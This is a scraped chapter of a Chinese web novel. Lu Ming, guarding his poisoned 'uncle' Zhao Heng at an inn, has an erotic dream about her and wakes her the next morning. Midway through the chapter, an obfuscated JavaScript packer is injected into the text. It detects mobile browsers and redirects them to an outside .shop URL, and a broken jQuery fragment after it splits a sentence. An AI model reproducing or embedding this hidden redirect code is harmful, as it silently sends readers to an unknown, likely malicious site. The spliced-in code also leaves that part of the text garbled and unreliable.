文趣网 > 其他小说 > 皇叔今天掉马了吗 > 25. 梦中欢
    赵珩现在几乎已经能确定,祸不单行,还真被张垣那厮说对了。

    她的确早就中了毒,而且这毒就是多年以后要她性命的剧毒。但赵珩想不通,如果毒真是青月下的,如何这么多年没有毒发,反倒是她将紫苏饮倒掉,却发作了?

    张垣想不通,她如今也想不通。

    也没心力再想……

    赵珩整个人泡在浴桶里,还是冷得发颤,那是从骨头缝儿里往外渗出来的冷,她不像是泡在热水里,倒像是泡在冰块里。

    赵珩安慰自己,只要把这阵寒意扛过去就没事儿了。她不该死得这么早,老天爷让她重活一回,难道就这样死了?

    赵珩不怎么信命,此时此刻,却希望命数救她一回。四肢变得越来越麻木,她不得不费力地靠在浴桶边沿,生怕自己不小心溺死。

    房间不大,一扇屏风隔断成里外两间,里间是床,外间是一个软榻,还是驿丞临时搬来的。

    “……来人,加热水。”

    赵珩现在冷得脑子里像团浆糊,还当是在王府,王府的人都知道规矩,盛着热水的木桶会放在她伸手就能够着的地方,没人敢往里靠近半步。

    但现在守在外间的却是陆鸣。

    陆鸣从赵珩进去沐浴之后,脑子也晕晕乎乎,像是被刚才那场恶战被吓傻了,一直动也不动地坐在外面。赵珩想不通什么时候中毒,陆鸣也想不通,刚才自己怎么就扑上去要救赵珩……

    在陆鸣的人生信条里,人不为己,天诛地灭。

    如果一个人连自己都不顾,那活着还有什么意思?

    人活一世,难道不就是为了出人头地,让自己过得好一些吗?

    陆鸣小时候身边每一个人都是这样活的,或是为名,或是为钱,所谓天下熙熙,皆为利来,天下嚷嚷,皆为利往。

    陆鸣回想那一刻,觉得自己突然间像变了个人。尽管前一刻他心中还生出要杀赵珩的念头,但真正看见那把刀朝着赵珩砍过去,身体反倒比脑子更快一步,简直……简直比刀朝着自己砍还要可怕。

    一想到这里,陆鸣便有些茫然不知所措。

    这时,里间传来一声低唤。

    “马上就来。”陆鸣站起身,拎着一桶热水进去,边往里走边说道,“皇叔,我进来了……”

    陆鸣走进去,眼神落在实处的那一刹那,先是愣了一下,紧跟着一股热血直冲头顶。

    赵珩闭着眼睛靠在浴桶里,发冠放在一边,那墨色的长发一半儿在水里,一半儿落在浴桶外面。

    这人只是脱了最外面染血的那件袍子,但夏衣本单薄,被水一泡,丝绸质地的衣裳紧贴着身子,雾气氤氲中,赵珩的侧脸也朦朦胧胧的,却没透出一点儿红,反而被烛火照得雪白一片。

    那晃眼的白顺着修长的脖颈,一直延伸到深陷进去的锁骨,再到层层叠叠的领口……

    陆鸣脑子里嗡的一声,血气涨红了脸。

    赵珩这时候却突然睁开眼睛,陆鸣直直地望着那双冷冷清清的眼睛,像被钉子钉在了原地,动也动不了,舌头也打了结。

    赵珩似乎很是疲倦,眉毛轻微地蹙起,又像是睁不开,也没说话,只是抬起手,指了指旁边的桌子,便又沉沉地闭上了眼。

    陆鸣几乎是低着头快步走过去,将热水往那桌上一放,逃也似的转身跑了。

    他一直跑到外间还不够,又冲到房间外面去,被夜风劈头盖脸地一吹,才发觉头脸都烧成一片。

    陆鸣站在外面不知道吹了多久的冷风,他什么都没想,也不敢想,就直愣愣地站在那儿,站得久了,觉得口舌都干了,喉咙也发紧。

    四下静得一点儿声音都没了,陆鸣才猛地想起来,赵珩还在里面沐浴,时间长了怕是会着凉。

    他这才推开门进去。

    陆鸣手脚放得轻,进门也没发出多大声音,但屋里竟然也一点儿声音都没有。

    陆鸣怕赵珩已经睡了,便没敢叫,走到那扇屏风面前时,脚步顿了一下,才接着往里走。

    陆鸣第一眼下意识地看向浴桶,接着深深地松了一口气,赵珩果然已经睡了。

    床上那人背对着他,被子裹得严严实实,只露出一个头顶在外面。应是睡熟了,安安静静的。

    陆鸣在原地站了好一会儿,才转身走向外间的软榻。

    当晚,陆鸣做了个梦。

    眼前漆黑一片,只有一线亮光照进来,想伸手伸脚都觉得困难,像是被装在一个箱子里。

    脸上有许多滑溜溜的布料晃来晃去,陆鸣再怎么用手拂开,那些东西还是堆在脸上,劣质香料的味道也跟着扑面而来,陆鸣借着那一线亮光,终于看清了,他是在一个衣柜里。

    这衣柜里挂满了衣裳,陆鸣一下子便反应过来,这是梦到了揽月阁。

    从前揽月阁的每个衣柜,他几乎都钻进去过,这是因为姑娘们带着他玩儿的时候,常常会有男人找过来,这种时候只能顺手把他往衣柜里一塞。

    当然,这其中也包括了陆鸣的母亲。

    准确来说,陆鸣钻的第一个衣柜,就是他母亲房中的。陆鸣很小的时候,就在那里看见过男女交合,其中一个是他的母亲,另一个则不固定,谁都可能是。

    陆鸣知道自己是在梦里,也没什么好怕的,伸手去推开柜门。但手刚碰到柜门的那一刻,便传来一声若有若无的呻吟。

    陆鸣很熟悉这种声音,他的烦躁也越来越明显,没有再犹豫,一把推开门。

    他在衣柜里躲着的时候很小,但走出来时,又变成了如今少年人的身量。

    帷幔是艳到极致的桃红色,被风吹得飘来飘去,里面似乎有个人,但是看不清。

    陆鸣应该转身就走的,但不知为何,他却没走,反而朝着那张床走过去。

    鬼使神差的,他轻轻地掀开帷幔,一条白得晃眼的胳膊朝他贴过来,那身子好似没有骨头,陆鸣被轻轻一拉,便天旋地转地朝帷幔深处滚去。

    ……

    陆鸣醒过来时,天还是黑的。

    也幸亏天是黑的。

    他的手往下摸了摸,裤子里有些冷冰冰的粘腻。

    陆鸣难以置信,为什么......

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650855|204134||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    会梦见那样的事情,还是和......

    和赵珩。

    刚醒过来,梦境还是清晰的。

    那人能单挑数名刺客,手里的剑能让任何一个人胆寒,但腰肢却那么软,陆鸣几乎能感觉到那腰身柔韧而纤细,一只手便能握住。

    那双总是带着笑的眼睛,在梦里却被逼出了泪,泪珠深深地滚进鬓发,牙齿咬得很紧,却还是有声音一丝丝泄出来……

    陆鸣不能再想下去了。

    他觉得自己一定是疯了。

    赵珩可是个男人。他竟然对一个男人……

    那个男人还是自己的皇叔……

    一阵难以克制的恶心翻上来,小时候的经历让陆鸣对男欢女爱之事避如蛇蝎,如今他却做这种荒唐的梦,陆鸣感觉自己从里到外都恶心透了。

    天快亮了,里间还是一点儿声音都没有。

    赵珩就睡在里面,跟他只有一扇屏风的遮挡,这与梦里何其相似……陆鸣没办法再让自己坐在这里,他快速换好干净衣服,将“罪证”胡乱裹成一团,拿在手里走了出去。

    第二天早上,众人都已经收拾妥了,却迟迟不见赵珩,这在平时可是从未出现过的情况。

    但谁敢大着胆子去叫,陆鸣只好“临危受命”,先是敲了敲门,没动静,轻轻推门进去,在那扇屏风前面站定,唤道:“皇叔?”

    竟还是没动静。

    难道是昨夜受了内伤?

    陆鸣心里慌了,也顾不得那么多避讳,绕到屏风后,看见赵珩竟然还是跟昨夜一模一样的姿势,整个人都蜷缩在被子里,一动不动。

    “皇叔,醒醒!”

    陆鸣吓得不轻,这一嗓子喊出来,赵珩终于动了,声音闷沉沉地从被子里传出来:“谁啊大清早的,吵什么!”

    陆鸣心里那根弦陡然松了,温声唤道:“皇叔,该起了。”

    坏了,睡过了!

    赵珩一个猛子从床上扎起来,起得太急,立刻一阵头晕眼花,脑子里跟针扎似的,又往后一倒,陆鸣吓得连忙两手去接。

    赵珩其实差不多一宿没睡。

    冷得睡不着。

    她又不敢动静太大吓着陆鸣,只能把自己蜷成一个球似的,牙齿死死咬住被子,时昏时醒,好容易熬到快天亮,终于眯了会儿。

    赵珩缓了缓,单手揉着眉心,鼻音很重地问道:“什么时辰了?”

    陆鸣两手扶着赵珩肩膀,对方身上那股淡淡的药香直往他鼻子里钻,不说话还好,一张口说话,那副嗓音低哑,带着黏黏糊糊的睡意,昨晚旖旎的梦登时控制不住地跳出来,叫嚣着冲向陆鸣的四肢百骸。

    “……嗯?”赵珩疑惑地望过来。

    陆鸣身体僵硬得像块铁板,呼吸调匀了好久才答道:“……刚天亮。”

    赵珩压根没心思察觉陆鸣不太对劲,她看了眼窗户里透出来的天光,满脸疲倦:“子玠,你去外面等会儿,我这就起。”

    片刻后,赵珩走出来,尴尬地冲众人笑着打了个哈哈:“睡过头了,不好意思啊各位,都收拾收拾,走吧。”